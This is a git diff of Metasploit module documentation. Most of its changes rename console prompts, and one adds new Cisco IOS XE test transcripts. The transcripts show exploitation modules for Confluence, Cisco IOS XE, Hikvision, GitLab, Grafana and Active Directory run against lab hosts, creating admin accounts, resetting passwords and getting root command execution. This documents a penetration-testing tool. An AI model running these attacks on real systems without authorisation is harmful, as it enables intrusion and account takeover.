S-1-5-21-3402587289-1488798532-3618296993-1000 [*] 192.168.159.10:445 - Certificate stored at: /home/smcintyre/.msf4/loot/20221107154740_default_unknown_windows.ad.cs_567059.pfx [*] Auxiliary module execution completed -msf6 auxiliary(admin/dcerpc/icpr_cert) > +msf auxiliary(admin/dcerpc/icpr_cert) > ``` [KB5014754]: https://support.microsoft.com/en-us/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16 diff --git a/documentation/modules/auxiliary/admin/dcerpc/samr_account.md b/documentation/modules/auxiliary/admin/dcerpc/samr_account.md index d3be1ef3c1ec8..226c2e9391833 100644 --- a/documentation/modules/auxiliary/admin/dcerpc/samr_account.md +++ b/documentation/modules/auxiliary/admin/dcerpc/samr_account.md @@ -63,13 +63,13 @@ its security ID (SID), which includes the relative ID (RID) as the last componen First, a new computer account is created and its details are logged to the database. ``` -msf6 auxiliary(admin/dcerpc/samr_account) > set RHOSTS 192.168.159.96 +msf auxiliary(admin/dcerpc/samr_account) > set RHOSTS 192.168.159.96 RHOSTS => 192.168.159.96 -msf6 auxiliary(admin/dcerpc/samr_account) > set SMBUser aliddle +msf auxiliary(admin/dcerpc/samr_account) > set SMBUser aliddle SMBUser => aliddle -msf6 auxiliary(admin/dcerpc/samr_account) > set SMBPass Password1 +msf auxiliary(admin/dcerpc/samr_account) > set SMBPass Password1 SMBPass => Password1 -msf6 auxiliary(admin/dcerpc/samr_account) > show options +msf auxiliary(admin/dcerpc/samr_account) > show options Module options (auxiliary/admin/dcerpc/samr_account): @@ -91,13 +91,13 @@ Auxiliary action: ADD_COMPUTER Add a computer account -msf6 auxiliary(admin/dcerpc/samr_account) > run +msf auxiliary(admin/dcerpc/samr_account) > run [*] Running module against 192.168.159.96 [*] 192.168.159.96:445 - Using automatically identified domain: MSFLAB [+] 192.168.159.96:445 - Successfully created MSFLAB\DESKTOP-2X8F54QG$ with password MCoDkNALd3SdGR1GoLhqniEkWa8Me9FY [*] Auxiliary module execution completed -msf6 auxiliary(admin/dcerpc/samr_account) > creds +msf auxiliary(admin/dcerpc/samr_account) > creds Credentials =========== @@ -105,5 +105,5 @@ host origin service public private ---- ------ ------- ------ ------- ----- ------------ ---------- 192.168.159.96 192.168.159.96 445/tcp (smb) DESKTOP-2X8F54QG$ MCoDkNALd3SdGR1GoLhqniEkWa8Me9FY MSFLAB Password -msf6 auxiliary(admin/dcerpc/samr_account) > +msf auxiliary(admin/dcerpc/samr_account) > ``` diff --git a/documentation/modules/auxiliary/admin/http/atlassian_confluence_auth_bypass.md b/documentation/modules/auxiliary/admin/http/atlassian_confluence_auth_bypass.md index 75ee31e2dc425..026ce60d655a1 100644 --- a/documentation/modules/auxiliary/admin/http/atlassian_confluence_auth_bypass.md +++ b/documentation/modules/auxiliary/admin/http/atlassian_confluence_auth_bypass.md @@ -35,14 +35,14 @@ E-mail to be used when creating a new user with admin privileges. ## Scenarios ### Tested on Confluence Server 8.0.0 with Linux target (Ubuntu 20.04) ``` -msf6 > use auxiliary/multi/http/atlassian_confluence_auth_bypass -msf6 > auxiliary(admin/http/atlassian_confluence_auth_bypass) > set RHOSTS +msf > use auxiliary/multi/http/atlassian_confluence_auth_bypass +msf > auxiliary(admin/http/atlassian_confluence_auth_bypass) > set RHOSTS RHOSTS => -msf6 > auxiliary(admin/http/atlassian_confluence_auth_bypass) > set NEW_USERNAME admin_1337 +msf > auxiliary(admin/http/atlassian_confluence_auth_bypass) > set NEW_USERNAME admin_1337 NEW_USERNAME => admin_1337 -msf6 > auxiliary(admin/http/atlassian_confluence_auth_bypass) > set NEW_PASSWORD admin_1337 +msf > auxiliary(admin/http/atlassian_confluence_auth_bypass) > set NEW_PASSWORD admin_1337 NEW_PASSWORD => admin_1337 -msf6 > auxiliary(admin/http/atlassian_confluence_auth_bypass) > run +msf > auxiliary(admin/http/atlassian_confluence_auth_bypass) > run [*] Running module against [+] Admin user was created successfully. Credentials: admin_1337 - admin_1337 diff --git a/documentation/modules/auxiliary/admin/http/cisco_7937g_ssh_privesc.md b/documentation/modules/auxiliary/admin/http/cisco_7937g_ssh_privesc.md index 6d5577fae5b32..52f896b87b45b 100644 --- a/documentation/modules/auxiliary/admin/http/cisco_7937g_ssh_privesc.md +++ b/documentation/modules/auxiliary/admin/http/cisco_7937g_ssh_privesc.md @@ -38,14 +38,14 @@ The desired username for setting SSH access #### Successful Scenario ``` -msf5 > use auxiliary/admin/http/cisco_7937g_ssh_privesc -msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set user test +msf > use auxiliary/admin/http/cisco_7937g_ssh_privesc +msf auxiliary(admin/http/cisco_7937g_ssh_privesc) > set user test user => test -msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set pass test +msf auxiliary(admin/http/cisco_7937g_ssh_privesc) > set pass test pass => test -msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set rhosts 192.168.110.209 +msf auxiliary(admin/http/cisco_7937g_ssh_privesc) > set rhosts 192.168.110.209 rhosts => 192.168.110.209 -msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > run +msf auxiliary(admin/http/cisco_7937g_ssh_privesc) > run [*] Running for 192.168.110.209... [*] 192.168.110.209 - Attempting to set SSH credentials. @@ -55,7 +55,7 @@ msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > run [*] 192.168.110.209 - ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 test@192.168.110.209 [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf5 auxiliary(linux/ssh/cve_2020_16137) > exit +msf auxiliary(linux/ssh/cve_2020_16137) > exit user@ubuntu:~$ ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 test@192.168.110.209 test@192.168.110.209's password: @@ -225,14 +225,14 @@ $>exit #### Unsuccessful Scenario ``` -msf5 > use auxiliary/admin/http/cisco_7937g_ssh_privesc -msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set user test +msf > use auxiliary/admin/http/cisco_7937g_ssh_privesc +msf auxiliary(admin/http/cisco_7937g_ssh_privesc) > set user test user => test -msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set pass test +msf auxiliary(admin/http/cisco_7937g_ssh_privesc) > set pass test pass => test -msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set rhosts 192.168.110.209 +msf auxiliary(admin/http/cisco_7937g_ssh_privesc) > set rhosts 192.168.110.209 rhosts => 192.168.110.209 -msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > run +msf auxiliary(admin/http/cisco_7937g_ssh_privesc) > run [*] Running for 192.168.110.209... [*] 192.168.110.209 - Attempting to set SSH credentials. @@ -246,14 +246,14 @@ msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > run #### Successful Scenario ``` -msf5 > use auxiliary/admin/http/cisco_7937g_ssh_privesc -msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set user test +msf > use auxiliary/admin/http/cisco_7937g_ssh_privesc +msf auxiliary(admin/http/cisco_7937g_ssh_privesc) > set user test user => test -msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set pass test +msf auxiliary(admin/http/cisco_7937g_ssh_privesc) > set pass test pass => test -msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set rhosts 192.168.110.209 +msf auxiliary(admin/http/cisco_7937g_ssh_privesc) > set rhosts 192.168.110.209 rhosts => 192.168.110.209 -msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > run +msf auxiliary(admin/http/cisco_7937g_ssh_privesc) > run [*] Running for 192.168.110.209... [*] 192.168.110.209 - Attempting to set SSH credentials. @@ -263,7 +263,7 @@ msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > run [*] 192.168.110.209 - ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 test@192.168.110.209 [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf5 auxiliary(linux/ssh/cve_2020_16137) > exit +msf auxiliary(linux/ssh/cve_2020_16137) > exit user@ubuntu:~$ ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 test@192.168.110.209 test@192.168.110.209's password: @@ -433,14 +433,14 @@ $>exit #### Unsuccessful Scenario ``` -msf5 > use auxiliary/admin/http/cisco_7937g_ssh_privesc -msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set user test +msf > use auxiliary/admin/http/cisco_7937g_ssh_privesc +msf auxiliary(admin/http/cisco_7937g_ssh_privesc) > set user test user => test -msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set pass test +msf auxiliary(admin/http/cisco_7937g_ssh_privesc) > set pass test pass => test -msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set rhosts 192.168.110.209 +msf auxiliary(admin/http/cisco_7937g_ssh_privesc) > set rhosts 192.168.110.209 rhosts => 192.168.110.209 -msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > run +msf auxiliary(admin/http/cisco_7937g_ssh_privesc) > run [*] Running for 192.168.110.209... [*] 192.168.110.209 - Attempting to set SSH credentials. diff --git a/documentation/modules/auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198.md b/documentation/modules/auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198.md index 3383e97214c39..6083d2936e4f3 100644 --- a/documentation/modules/auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198.md +++ b/documentation/modules/auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198.md @@ -34,7 +34,15 @@ The vulnerable IOS XE versions are: 17.11.99SW ## Testing -This module was tested against IOS XE version 16.12.3. To test this module you will need to either: +This module was tested against the following IOS XE versions: + +| IOS XE Version | Appliance Series | +|----------------|------------------| +| 16.12.3 | CSR1000v | +| 17.03.02 | CSR1000v | +| 17.06.05 | C8000v | + +To test this module you will need to either: * Acquire a hardware device running one of the vulnerable firmware versions listed above. @@ -87,15 +95,16 @@ modes are `user`, `privileged`, and `global`. ## Scenarios +### IOS XE 16.12.03 (CSR1000v) ``` -msf6 > use auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198 -msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > set RHOST 192.168.86.57 +msf > use auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198 +msf auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > set RHOST 192.168.86.57 RHOST => 192.168.86.57 -msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > set CMD "show version" +msf auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > set CMD "show version" CMD => show version -msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > set MODE privileged +msf auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > set MODE privileged MODE => privileged -msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > show options +msf auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > show options Module options (auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198): @@ -112,7 +121,7 @@ Module options (auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198): View the full module info with the info, or info -d command. -msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > run +msf auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > run [*] Running module against 192.168.86.57 @@ -162,11 +171,92 @@ Processor board ID 9OVFUOGPESO Configuration register is 0x2102 [*] Auxiliary module execution completed -msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > run CMD="show clock" +msf auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > run CMD="show clock" [*] Running module against 192.168.86.57 *15:24:05.110 UTC Fri Nov 3 2023 [*] Auxiliary module execution completed -msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > -``` \ No newline at end of file +msf auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > +``` + +### IOS XE 17.06.05 (C8000v) + +``` +msf auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > show options + +Module options (auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + CMD show version yes The CLI command to execute. + MODE privileged yes The mode to execute the CLI command in, valid values are 'user', 'privileged', or 'global'. + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 192.168.86.108 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 443 yes The target port (TCP) + SSL true no Negotiate SSL/TLS for outgoing connections + VHOST no HTTP server virtual host + + +View the full module info with the info, or info -d command. + +msf auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > run +[*] Running module against 192.168.86.108 + +Cisco IOS XE Software, Version 17.06.05 +Cisco IOS Software [Bengaluru], Virtual XE Software (X86_64_LINUX_IOSD-UNIVERSALK9-M), Version 17.6.5, RELEASE SOFTWARE (fc2) +Technical Support: http://www.cisco.com/techsupport +Copyright (c) 1986-2023 by Cisco Systems, Inc. +Compiled Wed 25-Jan-23 16:07 by mcpre +Cisco IOS-XE software, Copyright (c) 2005-2023 by cisco Systems, Inc. +All rights reserved. Certain components of Cisco IOS-XE software are +licensed under the GNU General Public License ("GPL") Version 2.0. The +software code licensed under GPL Version 2.0 is free software that comes +with ABSOLUTELY NO WARRANTY. You can redistribute and/or modify such +GPL code under the terms of GPL Version 2.0. For more details, see the +documentation or "License Notice" file accompanying the IOS-XE software, +or the applicable URL provided on the flyer accompanying the IOS-XE +software. +ROM: IOS-XE ROMMON +test_c800v uptime is 1 hour, 43 minutes +Uptime for this control processor is 1 hour, 44 minutes +System returned to ROM by reload +System image file is "bootflash:packages.conf" +Last reload reason: reload +This product contains cryptographic features and is subject to United +States and local country laws governing import, export, transfer and +use. Delivery of Cisco cryptographic products does not imply +third-party authority to import, export, distribute or use encryption. +Importers, exporters, distributors and users are responsible for +compliance with U.S. and local country laws. By using this product you +agree to comply with applicable laws and regulations. If you are unable +to comply with U.S. and local laws, return this product immediately. +A summary of U.S. laws governing Cisco cryptographic products may be found at: +http://www.cisco.com/wwl/export/crypto/tool/stqrg.html +If you require further assistance please contact us by sending email to +export@cisco.com. +License Level: +License Type: Perpetual +Next reload license Level: +Addon License Level: +Addon License Type: Subscription +Next reload addon license Level: +The current throughput level is 10000 kbps +Smart Licensing Status: Registration Not Applicable/Not Applicable +cisco C8000V (VXE) processor (revision VXE) with 2027875K/3075K bytes of memory. +Processor board ID 9VM6T5CQNTE +Router operating mode: Autonomous +3 Gigabit Ethernet interfaces +32768K bytes of non-volatile configuration memory. +3965316K bytes of physical memory. +11526144K bytes of virtual hard disk at bootflash:. +Configuration register is 0x2102 + +[*] Auxiliary module execution completed +msf auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > run CMD="show clock" +[*] Running module against 192.168.86.108 + +*17:36:50.722 UTC Mon Mar 3 2025 +[*] Auxiliary module execution completed +msf auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > +``` diff --git a/documentation/modules/auxiliary/admin/http/cisco_ios_xe_os_exec_cve_2023_20273.md b/documentation/modules/auxiliary/admin/http/cisco_ios_xe_os_exec_cve_2023_20273.md index 5a496bcb128e1..7e484d0d69065 100644 --- a/documentation/modules/auxiliary/admin/http/cisco_ios_xe_os_exec_cve_2023_20273.md +++ b/documentation/modules/auxiliary/admin/http/cisco_ios_xe_os_exec_cve_2023_20273.md @@ -31,6 +31,9 @@ The vulnerable IOS XE versions are: 17.9.2a, 17.9.1x1, 17.9.3a, 17.9.4, 17.9.1y1, 17.11.1, 17.11.1a, 17.12.1, 17.12.1a, 17.11.99SW +NOTE: The C8000v series appliance version 17.6.5 was observed to not be vulnerable to CVE-2023-20273, even +though the IOS XE version indicates they should be vulnerable to CVE-2023-20273. + ## Testing This module was tested against IOS XE version 16.12.3. To test this module you will need to either: @@ -89,7 +92,7 @@ can be locked preventing deleting upon the first attempt, so the module will try ## Scenarios ``` -msf6 auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) > show options +msf auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) > show options Module options (auxiliary/admin/http/cisco_ios_xe_os_exec_cve_2023_20273): @@ -112,11 +115,11 @@ Module options (auxiliary/admin/http/cisco_ios_xe_os_exec_cve_2023_20273): View the full module info with the info, or info -d command. -msf6 auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) > set rhosts 10.5.135.193 +msf auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) > set rhosts 10.5.135.193 rhosts => 10.5.135.193 -msf6 auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) > set verbose true +msf auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) > set verbose true verbose => true -msf6 auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) > run +msf auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) > run [*] Running module against 10.5.135.193 [*] Created privilege 15 user 'rfojGrqA' with password 'ixnXyFlw' @@ -126,5 +129,5 @@ uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:polaris_nginx_t [*] Removing user 'rfojGrqA' [*] Auxiliary module execution completed -msf6 auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) > -``` \ No newline at end of file +msf auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) > +``` diff --git a/documentation/modules/auxiliary/admin/http/cisco_ssm_onprem_account.md b/documentation/modules/auxiliary/admin/http/cisco_ssm_onprem_account.md index 1bf13529b18d3..26502926255e2 100644 --- a/documentation/modules/auxiliary/admin/http/cisco_ssm_onprem_account.md +++ b/documentation/modules/auxiliary/admin/http/cisco_ssm_onprem_account.md @@ -40,9 +40,9 @@ Running the module against Smart Software Manager (SSM) On-Prem v8-202206 should similar to the following: ``` -msf6 > use auxiliary/admin/http/cisco_ssm_onprem_account -msf6 auxiliary(admin/http/cisco_ssm_onprem_account) > set RHOSTS 192.168.137.200 -msf6 auxiliary(admin/http/cisco_ssm_onprem_account) > exploit +msf > use auxiliary/admin/http/cisco_ssm_onprem_account +msf auxiliary(admin/http/cisco_ssm_onprem_account) > set RHOSTS 192.168.137.200 +msf auxiliary(admin/http/cisco_ssm_onprem_account) > exploit [*] Running module against 192.168.137.200 [+] Server reachable. diff --git a/documentation/modules/auxiliary/admin/http/fortra_filecatalyst_workflow_sqli.md b/documentation/modules/auxiliary/admin/http/fortra_filecatalyst_workflow_sqli.md index b21992841df8e..4a3d6b7c60b18 100644 --- a/documentation/modules/auxiliary/admin/http/fortra_filecatalyst_workflow_sqli.md +++ b/documentation/modules/auxiliary/admin/http/fortra_filecatalyst_workflow_sqli.md @@ -51,7 +51,7 @@ Running the module against FileCatalyst Workflow v5.1.6 (Build 135) on either Wi similar to the following: ``` -msf6 auxiliary(admin/http/fortra_filecatalyst_workflow_sqli) > run +msf auxiliary(admin/http/fortra_filecatalyst_workflow_sqli) > run [*] Running module against 192.168.137.195 [*] Starting SQL injection workflow... diff --git a/documentation/modules/auxiliary/admin/http/gitlab_password_reset_account_takeover.md b/documentation/modules/auxiliary/admin/http/gitlab_password_reset_account_takeover.md index 872dd20a755ee..06015090f3f33 100644 --- a/documentation/modules/auxiliary/admin/http/gitlab_password_reset_account_takeover.md +++ b/documentation/modules/auxiliary/admin/http/gitlab_password_reset_account_takeover.md @@ -56,7 +56,7 @@ resource (gitlab)> set myemail my_email@example.com myemail => my_email@example.com resource (gitlab)> set verbose true verbose => true -msf6 auxiliary(scanner/admin/gitlab_password_reset_account_takeover) > exploit +msf auxiliary(scanner/admin/gitlab_password_reset_account_takeover) > exploit [*] Obtaining CSRF token [+] CSRF Token: URTwtcW7cTgXEoFoa0To9jTXCubxXpJwcCiLjXbrAIFeO5TJza9x-amxcWGmX2oC8SppWeTIIWUG19WCvW_2ig diff --git a/documentation/modules/auxiliary/admin/http/grafana_auth_bypass.md b/documentation/modules/auxiliary/admin/http/grafana_auth_bypass.md index 73fe564999999..5dd0dc4c28d0e 100644 --- a/documentation/modules/auxiliary/admin/http/grafana_auth_bypass.md +++ b/documentation/modules/auxiliary/admin/http/grafana_auth_bypass.md @@ -22,8 +22,8 @@ The following list shows the vulnerable versions of Grafana when configured for Example run against Grafana 3.x with username admin: ``` -msf5 > use auxiliary/admin/http/grafana_auth_bypass -msf5 auxiliary(admin/http/grafana_auth_bypass) > show options +msf > use auxiliary/admin/http/grafana_auth_bypass +msf auxiliary(admin/http/grafana_auth_bypass) > show options Module options (auxiliary/admin/http/grafana_auth_bypass): @@ -38,11 +38,11 @@ Module options (auxiliary/admin/http/grafana_auth_bypass): USERNAME no Valid username VERSION 5 yes Grafana version: "2-4" or "5" (Accepted: 2-4, 5) -msf5 auxiliary(admin/http/grafana_auth_bypass) > set RHOSTS 192.168.202.3 +msf auxiliary(admin/http/grafana_auth_bypass) > set RHOSTS 192.168.202.3 RHOSTS => 192.168.202.3 -msf5 auxiliary(admin/http/grafana_auth_bypass) > set USERNAME Administrator +msf auxiliary(admin/http/grafana_auth_bypass) > set USERNAME Administrator USERNAME => Administrator -msf5 auxiliary(admin/http/grafana_auth_bypass) > run +msf auxiliary(admin/http/grafana_auth_bypass) > run [*] Running for 192.168.202.3... [+] Encrypted remember cookie: 1bedc565c40b58307afa4672efd72d3c37f02684c2deb0ce0b55594cbce337fc90625356dc232e998f diff --git a/documentation/modules/auxiliary/admin/http/hikvision_unauth_pwd_reset_cve_2017_7921.md b/documentation/modules/auxiliary/admin/http/hikvision_unauth_pwd_reset_cve_2017_7921.md index 64093895f9157..e68787d445653 100644 --- a/documentation/modules/auxiliary/admin/http/hikvision_unauth_pwd_reset_cve_2017_7921.md +++ b/documentation/modules/auxiliary/admin/http/hikvision_unauth_pwd_reset_cve_2017_7921.md @@ -59,18 +59,18 @@ This option allows you to store the user and password credentials in the Metaspl ### Hikvision DS-2CD2142FWD-IS Firmware Version V5.4.1 build 160525 ``` -msf6 > use auxiliary/admin/http/hikvision_unauth_pwd_reset_cve_2017_7921 -msf6 auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) > set RHOSTS 192.168.100.180 +msf > use auxiliary/admin/http/hikvision_unauth_pwd_reset_cve_2017_7921 +msf auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) > set RHOSTS 192.168.100.180 RHOSTS => 192.168.100.180 -msf6 auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) > set USERNAME admin +msf auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) > set USERNAME admin USERNAME => admin -msf6 auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) > set PASSWORD Pa$$W0rd +msf auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) > set PASSWORD Pa$$W0rd PASSWORD => Pa$$W0rd -msf6 auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) > set ID 1 +msf auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) > set ID 1 ID => 1 -msf6 auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) > set STORE_CRED true +msf auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) > set STORE_CRED true STORE_CRED => true -msf6 auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) > options +msf auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) > options Module options (auxiliary/admin/http/hikvision_unauth_pwd_reset_cve_2017_7921): @@ -87,13 +87,13 @@ Module options (auxiliary/admin/http/hikvision_unauth_pwd_reset_cve_2017_7921): USERNAME admin yes Username for password change VHOST no HTTP server virtual host -msf6 auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) > check +msf auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) > check [*] Following users are available for password reset... [*] USERNAME:admin | ID:1 | ROLE:Administrator [*] USERNAME:admln | ID:2 | ROLE:Operator [+] 192.168.100.180:80 - The target is vulnerable. -msf6 auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) > run +msf auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) > run [*] Running module against 192.168.100.180 [*] Following users are available for password reset... @@ -104,7 +104,7 @@ msf6 auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) > run [*] Please log in with your new password: Pa$$W0rd [*] Credentials for admin were added to the database... [*] Auxiliary module execution completed -msf6 auxiliary(admin/http/hikvision_unauth_pwd_reset) > creds -O 192.168.100.180 +msf auxiliary(admin/http/hikvision_unauth_pwd_reset) > creds -O 192.168.100.180 Credentials =========== @@ -112,5 +112,5 @@ host origin service public private realm privat ---- ------ ------- ------ ------- ----- ------------ ---------- 192.168.100.180 192.168.100.180 80/tcp (http) admin Pa$$W0rd Password -msf6 auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) +msf auxiliary(admin/http/hikvision_unauth_pwd_reset_cve_2017_7921) ``` diff --git a/documentation/modules/auxiliary/admin/http/ibm_drm_download.md b/documentation/modules/auxiliary/admin/http/ibm_drm_download.md index 25a7df5ecb503..b4adf83a796e5 100644 --- a/documentation/modules/auxiliary/admin/http/ibm_drm_download.md +++ b/documentation/modules/auxiliary/admin/http/ibm_drm_download.md @@ -25,7 +25,7 @@ Module defaults work very well, you should just need to set `RHOST` and the `FIL A successful exploit will look like this: ``` -msf5 auxiliary(admin/http/ibm_drm_file_download) > run +msf auxiliary(admin/http/ibm_drm_file_download) > run [+] 10.9.8.213:8443 - Successfully "stickied" our session ID kmhleyPh [+] 10.9.8.213:8443 - We have obtained a new admin password 28010e88-6ffb-46e9-90d6-2ded732120d1 diff --git a/documentation/modules/auxiliary/admin/http/idsecure_auth_bypass.md b/documentation/modules/auxiliary/admin/http/idsecure_auth_bypass.md index eb5fb518d063c..d6e515a6ad356 100644 --- a/documentation/modules/auxiliary/admin/http/idsecure_auth_bypass.md +++ b/documentation/modules/auxiliary/admin/http/idsecure_auth_bypass.md @@ -41,8 +41,8 @@ Running the module against Control iD iDSecure v4.7.43.0 should result in an out similar to the following: ``` -msf6 > use auxiliary/admin/http/idsecure_auth_bypass -msf6 auxiliary(admin/http/idsecure_auth_bypass) > set RHOSTS 192.168.137.196 +msf > use auxiliary/admin/http/idsecure_auth_bypass +msf auxiliary(admin/http/idsecure_auth_bypass) > set RHOSTS 192.168.137.196 [*] Running module against 192.168.137.196 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/auxiliary/admin/http/ivanti_vtm_admin.md b/documentation/modules/auxiliary/admin/http/ivanti_vtm_admin.md index 855b06b33ddcd..6e6ae74fba8bf 100644 --- a/documentation/modules/auxiliary/admin/http/ivanti_vtm_admin.md +++ b/documentation/modules/auxiliary/admin/http/ivanti_vtm_admin.md @@ -51,9 +51,9 @@ Running the module against Virtual Traffic Manager (vTM) 22.7R1 should result in similar to the following: ``` -msf6 > use auxiliary/admin/http/ivanti_vtm_admin -msf6 auxiliary(admin/http/ivanti_vtm_admin) > set RHOSTS 172.17.0.2 -msf6 auxiliary(admin/http/ivanti_vtm_admin) > exploit +msf > use auxiliary/admin/http/ivanti_vtm_admin +msf auxiliary(admin/http/ivanti_vtm_admin) > set RHOSTS 172.17.0.2 +msf auxiliary(admin/http/ivanti_vtm_admin) > exploit [*] Running module against 172.17.0.2 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/auxiliary/admin/http/netgear_pnpx_getsharefolderlist_auth_bypass.md b/documentation/modules/auxiliary/admin/http/netgear_pnpx_getsharefolderlist_auth_bypass.md index 6d38322668508..14ae841c66619 100644 --- a/documentation/modules/auxiliary/admin/http/netgear_pnpx_getsharefolderlist_auth_bypass.md +++ b/documentation/modules/auxiliary/admin/http/netgear_pnpx_getsharefolderlist_auth_bypass.md @@ -54,8 +54,8 @@ This vulnerability was discovered and exploited by an independent security resea ### Netgear AC1600 aka R6260 with Firmware Version 1.1.0.40_1.0.1 ``` - msf6 > use auxiliary/admin/http/netgear_pnpx_getsharefolderlist_auth_bypass - msf6 auxiliary(admin/http/netgear_pnpx_getsharefolderlist_auth_bypass) > show options + msf > use auxiliary/admin/http/netgear_pnpx_getsharefolderlist_auth_bypass + msf auxiliary(admin/http/netgear_pnpx_getsharefolderlist_auth_bypass) > show options Module options (auxiliary/admin/http/netgear_pnpx_getsharefolderlist_auth_bypass): @@ -68,13 +68,13 @@ This vulnerability was discovered and exploited by an independent security resea SSL false no Negotiate SSL/TLS for outgoing connections VHOST no HTTP server virtual host - msf6 auxiliary(admin/http/netgear_pnpx_getsharefolderlist_auth_bypass) > set RHOSTS 192.168.1.1 + msf auxiliary(admin/http/netgear_pnpx_getsharefolderlist_auth_bypass) > set RHOSTS 192.168.1.1 RHOSTS => 192.168.1.1 - msf6 auxiliary(admin/http/netgear_pnpx_getsharefolderlist_auth_bypass) > check + msf auxiliary(admin/http/netgear_pnpx_getsharefolderlist_auth_bypass) > check [*] Target is a R6260 router running firmware version 1.1.0.40_1.0.1 [*] 192.168.1.1:80 - The target appears to be vulnerable. - msf6 auxiliary(admin/http/netgear_pnpx_getsharefolderlist_auth_bypass) > exploit + msf auxiliary(admin/http/netgear_pnpx_getsharefolderlist_auth_bypass) > exploit [*] Running module against 192.168.1.1 [*] Running automatic check ("set AutoCheck false" to disable) @@ -92,7 +92,7 @@ This vulnerability was discovered and exploited by an independent security resea [*] Attempting to log in with 